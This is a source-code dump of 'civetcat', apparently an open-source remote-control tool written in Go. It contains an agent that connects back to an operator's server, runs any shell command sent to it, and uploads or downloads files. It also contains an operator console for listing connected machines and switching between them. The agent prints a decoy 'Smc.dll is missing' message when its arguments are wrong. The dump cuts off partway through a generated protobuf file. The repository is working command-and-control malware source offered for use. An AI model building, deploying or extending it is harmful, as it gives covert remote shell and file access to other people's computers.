├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── agent ├── agent_server │ └── server.go └── socket_conn │ └── socket_conn.go ├── agent_.go ├── backend └── server.go ├── backend_.go ├── experiment ├── a_test.go └── shell_test │ ├── shell1.go │ └── utils_shell.go ├── go.mod ├── go.sum ├── pb ├── pb.pb.go └── pb.proto └── utils ├── coding.go ├── os.go └── shell.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | 131 | .idea -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Dollarkillerx 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" agent_.go 3 | GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" backend_.go 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # civetcat 2 | Civet cat 狸猫 远控 3 | 突破网络限制出网 4 | 5 | 开源版本实现基础功能 商业合作请联系dollarkiller#dollarkiller.com 6 | 7 | ### 实现协议 8 | - TCP 9 | - UDP 10 | - KCP 11 | - HTTP 12 | - HTTPS 13 | - ICMP 14 | - DNS 15 | - WebSocket 16 | 17 | ### 实现功能 18 | - 交互式shell 19 | - 文件上传与下载 20 | 21 | ### 使用说明 22 | ``` 23 | ./backend_ 0.0.0.0:8081 12345 // ./backedn listen_addr token 24 | ./agent_ 0.0.0.0:8081 12345 // 远控上线 25 | ``` 26 | 27 | ``` 28 | ./backend_ 0.0.0.0:8081 12345 29 | $ ls agent // 获取在线机器 30 | 127.0.0.1:54920 31 | $ use 127.0.0.1:54920 // 切换到此机器上 32 | $ uname -r // 执行普通shell命令 33 | 5.3.18-1-MANJARO 34 | $ upload a.exe b.exe (本地) (远程) // 上传目标文件 35 | $ download a.exe b.exe // 下载目标文件 36 | ``` 37 | -------------------------------------------------------------------------------- /agent/agent_server/server.go: -------------------------------------------------------------------------------- 1 | package agent_server 2 | 3 | import ( 4 | "civetcat/pb" 5 | "civetcat/utils" 6 | "io/ioutil" 7 | ) 8 | 9 | func DownLoad(path string) *pb.DeGeneralResp { 10 | file, err := ioutil.ReadFile(path) 11 | if err != nil { 12 | return &pb.DeGeneralResp{Success: false} 13 | } 14 | return &pb.DeGeneralResp{Success: true, Bytes: file} 15 | } 16 | 17 | func Shell(cmd string) *pb.DeGeneralResp { 18 | shell, err := utils.RunShell(cmd) 19 | if err != nil { 20 | return &pb.DeGeneralResp{ 21 | Success: false, 22 | Body: shell, 23 | } 24 | } 25 | return &pb.DeGeneralResp{ 26 | Success: true, 27 | Body: shell, 28 | } 29 | } 30 | 31 | func Upload(path string, data []byte) *pb.DeGeneralResp { 32 | err := ioutil.WriteFile(path, data, 00666) 33 | if err != nil { 34 | return &pb.DeGeneralResp{Success: false} 35 | } 36 | return &pb.DeGeneralResp{Success: true} 37 | } 38 | -------------------------------------------------------------------------------- /agent/socket_conn/socket_conn.go: -------------------------------------------------------------------------------- 1 | package socket_conn 2 | 3 | import ( 4 | "civetcat/pb" 5 | "github.com/golang/protobuf/proto" 6 | "github.com/gorilla/websocket" 7 | "log" 8 | "net/http" 9 | "net/url" 10 | "runtime" 11 | "time" 12 | ) 13 | 14 | type AgentWebSocket struct { 15 | token string 16 | uri string 17 | conn *websocket.Conn 18 | initData []byte 19 | } 20 | 21 | func NewAgentWebSocket(uri string, token string) *AgentWebSocket { 22 | result := &AgentWebSocket{} 23 | result.token = token 24 | u := url.URL{Scheme: "ws", Host: uri, Path: "/registration"} 25 | result.uri = u.String() 26 | conn, _, err := websocket.DefaultDialer.Dial(result.uri, http.Header{"Sec-Websocket-Protocol": []string{token}}) 27 | if err != nil { 28 | log.Fatalln(err) 29 | } 30 | result.conn = conn 31 | resp := &pb.Resp{ 32 | RespItem: &pb.Resp_Heartbeat{Heartbeat: &pb.DeHeartbeat{CPU: uint32(runtime.NumCPU())}}, 33 | } 34 | marshal, err := proto.Marshal(resp) 35 | if err != nil { 36 | log.Fatalln(err) 37 | } 38 | result.initData = marshal 39 | 40 | result.Write(marshal) 41 | go result.heartbeat() 42 | return result 43 | } 44 | 45 | func (a *AgentWebSocket) heartbeat() error { 46 | ticker := time.NewTicker(time.Millisecond * 500) 47 | for { 48 | select { 49 | case <-ticker.C: 50 | for { 51 | err := a.Write(a.initData) 52 | if err != nil { 53 | a.Close() 54 | for { 55 | a.Close() 56 | err = a.Reconnect() 57 | if err != nil { 58 | continue 59 | } else { 60 | break 61 | } 62 | } 63 | continue 64 | } else { 65 | break 66 | } 67 | } 68 | } 69 | } 70 | } 71 | 72 | func (a *AgentWebSocket) Reconnect() error { 73 | conn, _, err := websocket.DefaultDialer.Dial(a.uri, http.Header{"Sec-Websocket-Protocol": []string{a.token}}) 74 | if err != nil { 75 | return err 76 | } 77 | a.conn = conn 78 | a.Write(a.initData) 79 | return nil 80 | } 81 | 82 | func (a *AgentWebSocket) Write(data []byte) error { 83 | return a.conn.WriteMessage(websocket.TextMessage, data) 84 | } 85 | 86 | func (a *AgentWebSocket) Read() ([]byte, error) { 87 | _, p, err := a.conn.ReadMessage() 88 | return p, err 89 | } 90 | 91 | func (a *AgentWebSocket) Close() { 92 | a.conn.Close() 93 | } 94 | -------------------------------------------------------------------------------- /agent_.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "civetcat/agent/agent_server" 5 | "civetcat/agent/socket_conn" 6 | "civetcat/pb" 7 | "github.com/golang/protobuf/proto" 8 | "log" 9 | "os" 10 | ) 11 | 12 | func main() { 13 | if len(os.Args) != 3 { 14 | log.Fatalln("Smc.dll is missing") 15 | } 16 | addr := os.Args[1] 17 | token := os.Args[2] 18 | 19 | conn := socket_conn.NewAgentWebSocket(addr, token) 20 | // send one 21 | for { 22 | for { 23 | read, err := conn.Read() 24 | if err != nil { 25 | conn.Close() 26 | for { 27 | err := conn.Reconnect() 28 | if err != nil { 29 | continue 30 | } else { 31 | break 32 | } 33 | } 34 | continue 35 | } 36 | ic := &pb.Resp{} 37 | err = proto.Unmarshal(read, ic) 38 | if err != nil { 39 | log.Fatalln(err) 40 | } 41 | switch ics := ic.RespItem.(type) { 42 | case *pb.Resp_DownLoad: 43 | load := agent_server.DownLoad(ics.DownLoad.FilePath) 44 | pb := &pb.Resp{ 45 | RespItem:&pb.Resp_GeneralResp{GeneralResp:load}, 46 | } 47 | marshal, err := proto.Marshal(pb) 48 | if err != nil { 49 | log.Fatalln(err) 50 | } 51 | conn.Write(marshal) 52 | case *pb.Resp_Shell: 53 | shell := agent_server.Shell(ics.Shell.Cmd) 54 | pb := &pb.Resp{ 55 | RespItem:&pb.Resp_GeneralResp{GeneralResp:shell}, 56 | } 57 | marshal, err := proto.Marshal(pb) 58 | if err != nil { 59 | log.Fatalln(err) 60 | } 61 | conn.Write(marshal) 62 | case *pb.Resp_Upload: 63 | shell := agent_server.Upload(ics.Upload.FileName, ics.Upload.Body) 64 | pb := &pb.Resp{ 65 | RespItem:&pb.Resp_GeneralResp{GeneralResp:shell}, 66 | } 67 | marshal, err := proto.Marshal(pb) 68 | if err != nil { 69 | log.Fatalln(err) 70 | } 71 | conn.Write(marshal) 72 | } 73 | } 74 | 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /backend/server.go: -------------------------------------------------------------------------------- 1 | package backend 2 | 3 | import ( 4 | "civetcat/pb" 5 | "errors" 6 | "fmt" 7 | "github.com/gin-gonic/gin" 8 | "github.com/golang/protobuf/proto" 9 | "github.com/gorilla/websocket" 10 | "io/ioutil" 11 | "log" 12 | "net/http" 13 | "sync" 14 | ) 15 | 16 | var ( 17 | upgrader = websocket.Upgrader{ 18 | // 允许跨域 19 | CheckOrigin: func(r *http.Request) bool { 20 | return true 21 | }, 22 | } 23 | ) 24 | 25 | type Server struct { 26 | addr string 27 | token string 28 | 29 | Local string 30 | 31 | Mu sync.Mutex 32 | Db map[string]*websocket.Conn 33 | RespChan chan *pb.Resp_GeneralResp 34 | } 35 | 36 | func NewServer(addr, token string) *Server { 37 | rsp := &Server{ 38 | addr: addr, 39 | token: token, 40 | RespChan: make(chan *pb.Resp_GeneralResp, 100), 41 | Db: map[string]*websocket.Conn{}, 42 | } 43 | rsp.init() 44 | return rsp 45 | } 46 | 47 | func (s *Server) init() { 48 | gin.SetMode(gin.ReleaseMode) 49 | app := gin.New() 50 | app.Use(gin.Recovery()) 51 | 52 | app.GET("registration", s.tokenCheck, s.registry) 53 | 54 | go func() { 55 | err := app.Run(s.addr) 56 | if err != nil { 57 | log.Fatalln(err) 58 | } 59 | }() 60 | } 61 | 62 | func (s *Server) tokenCheck(ctx *gin.Context) { 63 | token := ctx.Request.Header.Get("Sec-Websocket-Protocol") 64 | if token != s.token { 65 | ctx.JSON(500, "500 server Error") // Fraudulent crawler 66 | fmt.Printf("Token Err: %s Addr: %s \n", token, ctx.ClientIP()) 67 | ctx.Abort() 68 | return 69 | } 70 | ctx.Next() 71 | } 72 | 73 | func (s *Server) registry(ctx *gin.Context) { 74 | conn, err := upgrader.Upgrade(ctx.Writer, ctx.Request, nil) 75 | if err != nil { 76 | log.Println(err) 77 | return 78 | } 79 | s.Mu.Lock() 80 | s.Db[conn.RemoteAddr().String()] = conn 81 | s.Mu.Unlock() 82 | 83 | go s.listen(conn) 84 | log.Println("Reg Success: ", conn.RemoteAddr().String()) 85 | } 86 | 87 | func (s *Server)Upload(src,des string) error { 88 | if s.Local == "" { 89 | return errors.New("local is null") 90 | } 91 | s.Mu.Lock() 92 | conn, bo := s.Db[s.Local] 93 | s.Mu.Unlock() 94 | if !bo { 95 | return errors.New("local not exits") 96 | } 97 | file, err := ioutil.ReadFile(src) 98 | if err != nil { 99 | return err 100 | } 101 | result := &pb.Resp{ 102 | RespItem: &pb.Resp_Upload{Upload:&pb.DeUpload{ 103 | Body:file, 104 | FileName:des, 105 | }}, 106 | } 107 | marshal, err := proto.Marshal(result) 108 | if err != nil { 109 | return err 110 | } 111 | return conn.WriteMessage(websocket.TextMessage,marshal) 112 | } 113 | 114 | func (s *Server)Download(des string) error { 115 | if s.Local == "" { 116 | return errors.New("local is null") 117 | } 118 | s.Mu.Lock() 119 | conn, bo := s.Db[s.Local] 120 | s.Mu.Unlock() 121 | if !bo { 122 | return errors.New("local not exits") 123 | } 124 | result := &pb.Resp{ 125 | RespItem: &pb.Resp_DownLoad{ 126 | DownLoad:&pb.DeDownLoad{FilePath:des}, 127 | }, 128 | } 129 | marshal, err := proto.Marshal(result) 130 | if err != nil { 131 | return err 132 | } 133 | return conn.WriteMessage(websocket.TextMessage,marshal) 134 | } 135 | 136 | func (s *Server) WriteShell(cmd string) error { 137 | if s.Local == "" { 138 | return errors.New("local is null") 139 | } 140 | s.Mu.Lock() 141 | conn, bo := s.Db[s.Local] 142 | s.Mu.Unlock() 143 | if !bo { 144 | return errors.New("local not exits") 145 | } 146 | result := &pb.Resp{ 147 | RespItem: &pb.Resp_Shell{ 148 | Shell: &pb.DeShell{Cmd: cmd}, 149 | }, 150 | } 151 | marshal, err := proto.Marshal(result) 152 | if err != nil { 153 | return err 154 | } 155 | return conn.WriteMessage(websocket.TextMessage, marshal) 156 | } 157 | 158 | func (s *Server) listen(conn *websocket.Conn) { 159 | key := conn.RemoteAddr().String() 160 | for { 161 | _, data, err := conn.ReadMessage() 162 | if err != nil { 163 | conn.Close() 164 | delete(s.Db, key) 165 | break 166 | } 167 | resp := &pb.Resp{} 168 | err = proto.Unmarshal(data, resp) 169 | if err != nil { 170 | log.Println(err) 171 | continue 172 | } 173 | switch ac := resp.RespItem.(type) { 174 | case *pb.Resp_Heartbeat: 175 | continue 176 | case *pb.Resp_GeneralResp: 177 | if key == s.Local { 178 | s.RespChan <- ac 179 | } 180 | continue 181 | } 182 | } 183 | } 184 | -------------------------------------------------------------------------------- /backend_.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "civetcat/backend" 6 | "civetcat/utils" 7 | "fmt" 8 | "io/ioutil" 9 | "log" 10 | "os" 11 | "strings" 12 | ) 13 | 14 | func main() { 15 | log.SetFlags(log.Lshortfile | log.LstdFlags) 16 | if len(os.Args) != 3 { 17 | log.Fatalln("./backend 0.0.0.0:8081 token") 18 | } 19 | addr := os.Args[1] 20 | token := os.Args[2] 21 | reader := bufio.NewReader(os.Stdin) 22 | conn := backend.NewServer(addr, token) 23 | fmt.Println("Success Init") 24 | for { 25 | fmt.Print("$ ") 26 | cmdString, e := reader.ReadString('\n') 27 | if e != nil { 28 | _, e := fmt.Fprintln(os.Stderr, e) 29 | if e != nil { 30 | panic(e) 31 | } 32 | } 33 | cmdString = strings.TrimSpace(cmdString) 34 | switch { 35 | case cmdString == "ls agent": 36 | conn.Mu.Lock() 37 | for k := range conn.Db { 38 | fmt.Println(k) 39 | } 40 | conn.Mu.Unlock() 41 | case strings.Index(cmdString, "use") == 0: 42 | split := strings.Split(cmdString, " ") 43 | if len(split) != 2 { 44 | fmt.Println(split, " ???") 45 | continue 46 | } 47 | conn.Mu.Lock() 48 | _, bo := conn.Db[split[1]] 49 | conn.Mu.Unlock() 50 | if !bo { 51 | fmt.Println(split[1], " does not exist") 52 | } 53 | conn.Local = split[1] 54 | case strings.Index(cmdString, "upload") == 0: 55 | // upload src.file des.file 56 | i := strings.Split(cmdString, " ") 57 | if len(i) != 3 { 58 | fmt.Println("upload src.file des.file") 59 | continue 60 | } 61 | e := conn.Upload(i[1], i[2]) 62 | if e != nil { 63 | log.Println(e) 64 | continue 65 | } 66 | result := <-conn.RespChan 67 | if result.GeneralResp.Success { 68 | fmt.Println("Upload Success") 69 | }else { 70 | fmt.Println("Upload Error") 71 | } 72 | case strings.Index(cmdString, "download") == 0: 73 | // download src.file des.file 74 | i := strings.Split(cmdString, " ") 75 | if len(i) != 3 { 76 | fmt.Println("download src.file des.file") 77 | continue 78 | } 79 | e := conn.Download(i[2]) 80 | if e != nil { 81 | log.Println(e) 82 | continue 83 | } 84 | result := <-conn.RespChan 85 | if result.GeneralResp.Success { 86 | e := ioutil.WriteFile(i[1], result.GeneralResp.Bytes, 00666) 87 | if e != nil { 88 | fmt.Println(e) 89 | } 90 | fmt.Println("Download Success") 91 | }else { 92 | fmt.Println("Download Error") 93 | } 94 | default: 95 | if cmdString == "" { 96 | continue 97 | } 98 | e := conn.WriteShell(cmdString) 99 | if e != nil { 100 | log.Println(e) 101 | continue 102 | } 103 | result := <-conn.RespChan 104 | fmt.Println(utils.UTF8(result.GeneralResp.Body)) 105 | } 106 | } 107 | 108 | } 109 | -------------------------------------------------------------------------------- /experiment/a_test.go: -------------------------------------------------------------------------------- 1 | package experiment 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "testing" 7 | ) 8 | 9 | func TestOne(t *testing.T) { 10 | a := "use abs" 11 | index := strings.Index(a, "use") 12 | fmt.Println(index) 13 | } 14 | -------------------------------------------------------------------------------- /experiment/shell_test/shell1.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "os" 8 | "os/exec" 9 | "strings" 10 | ) 11 | 12 | func main() { 13 | reader := bufio.NewReader(os.Stdin) 14 | for { 15 | fmt.Print("$ ") 16 | cmdString, e := reader.ReadString('\n') 17 | if e != nil { 18 | _, e := fmt.Fprintln(os.Stderr, e) 19 | if e != nil { 20 | panic(e) 21 | } 22 | 23 | } 24 | cmdString = strings.TrimSpace(cmdString) 25 | command := exec.Command("/bin/bash", "-c", cmdString) 26 | bufferErr := bytes.NewBufferString("") 27 | bufferOut := bytes.NewBufferString("") 28 | command.Stderr = bufio.NewWriter(bufferErr) 29 | command.Stdout = bufio.NewWriter(bufferOut) 30 | e = command.Run() 31 | out := strings.TrimSpace(bufferOut.String()) 32 | errS := strings.TrimSpace(bufferErr.String()) 33 | if out != "" { 34 | fmt.Println("Out: ") 35 | fmt.Println(out) 36 | } else if errS != "" { 37 | fmt.Println("Err: ") 38 | fmt.Println(errS) 39 | } 40 | 41 | if e != nil { 42 | fmt.Println("Err: ", e) 43 | continue 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /experiment/shell_test/utils_shell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "civetcat/utils" 6 | "fmt" 7 | "os" 8 | "strings" 9 | ) 10 | 11 | func main() { 12 | reader := bufio.NewReader(os.Stdin) 13 | for { 14 | fmt.Print("$ ") 15 | cmdString, e := reader.ReadString('\n') 16 | if e != nil { 17 | _, e := fmt.Fprintln(os.Stderr, e) 18 | if e != nil { 19 | panic(e) 20 | } 21 | 22 | } 23 | cmdString = strings.TrimSpace(cmdString) 24 | if cmdString == "exit" { 25 | break 26 | } 27 | 28 | shell, e := utils.RunShell(cmdString) 29 | if shell != "" { 30 | fmt.Println(shell) 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module civetcat 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 7 | github.com/gin-gonic/gin v1.6.2 8 | github.com/golang/protobuf v1.3.5 9 | github.com/gorilla/websocket v1.4.2 10 | golang.org/x/text v0.3.2 11 | ) 12 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ= 2 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 6 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 7 | github.com/gin-gonic/gin v1.6.2 h1:88crIK23zO6TqlQBt+f9FrPJNKm9ZEr7qjp9vl/d5TM= 8 | github.com/gin-gonic/gin v1.6.2/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M= 9 | github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 10 | github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q= 11 | github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8= 12 | github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no= 13 | github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA= 14 | github.com/go-playground/validator/v10 v10.2.0 h1:KgJ0snyC2R9VXYN2rneOtQcw5aHQB1Vv0sFl1UcHBOY= 15 | github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI= 16 | github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= 17 | github.com/golang/protobuf v1.3.5 h1:F768QJ1E9tib+q5Sc8MkdJi1RxLTbRcTf8LJV56aRls= 18 | github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= 19 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 20 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= 21 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 22 | github.com/json-iterator/go v1.1.9 h1:9yzud/Ht36ygwatGx56VwCZtlI/2AD15T1X2sjSuGns= 23 | github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= 24 | github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y= 25 | github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII= 26 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= 27 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 28 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 h1:ZqeYNhU3OHLH3mGKHDcjJRFFRrJa6eAM5H+CtDdOsPc= 29 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 30 | github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742 h1:Esafd1046DLDQ0W1YjYsBW+p8U2u7vzgW2SQVmlNazg= 31 | github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= 32 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 33 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 34 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 35 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 36 | github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo= 37 | github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw= 38 | github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs= 39 | github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY= 40 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42 h1:vEOn+mP2zCOVzKckCZy6YsCtDblrpj/w7B9nxGNELpg= 41 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 42 | golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= 43 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 44 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 45 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 46 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 47 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 48 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 49 | -------------------------------------------------------------------------------- /pb/pb.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // source: pb.proto 3 | 4 | package pb 5 | 6 | import ( 7 | fmt "fmt" 8 | proto "github.com/golang/protobuf/proto" 9 | math "math" 10 | ) 11 | 12 | // Reference imports to suppress errors if they are not otherwise used. 13 | var _ = proto.Marshal 14 | var _ = fmt.Errorf 15 | var _ = math.Inf 16 | 17 | // This is a compile-time assertion to ensure that this generated file 18 | // is compatible with the proto package it is being compiled against. 19 | // A compilation error at this line likely means your copy of the 20 | // proto package needs to be updated. 21 | const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package 22 | 23 | type DeHeartbeat struct { 24 | CPU uint32 `protobuf:"varint,1,opt,name=CPU,proto3" json:"CPU,omitempty"` 25 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 26 | XXX_unrecognized []byte `json:"-"` 27 | XXX_sizecache int32 `json:"-"` 28 | } 29 | 30 | func (m *DeHeartbeat) Reset() { *m = DeHeartbeat{} } 31 | func (m *DeHeartbeat) String() string { return proto.CompactTextString(m) } 32 | func (*DeHeartbeat) ProtoMessage() {} 33 | func (*DeHeartbeat) Descriptor() ([]byte, []int) { 34 | return fileDescriptor_f80abaa17e25ccc8, []int{0} 35 | } 36 | 37 | func (m *DeHeartbeat) XXX_Unmarshal(b []byte) error { 38 | return xxx_messageInfo_DeHeartbeat.Unmarshal(m, b) 39 | } 40 | func (m *DeHeartbeat) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 41 | return xxx_messageInfo_DeHeartbeat.Marshal(b, m, deterministic) 42 | } 43 | func (m 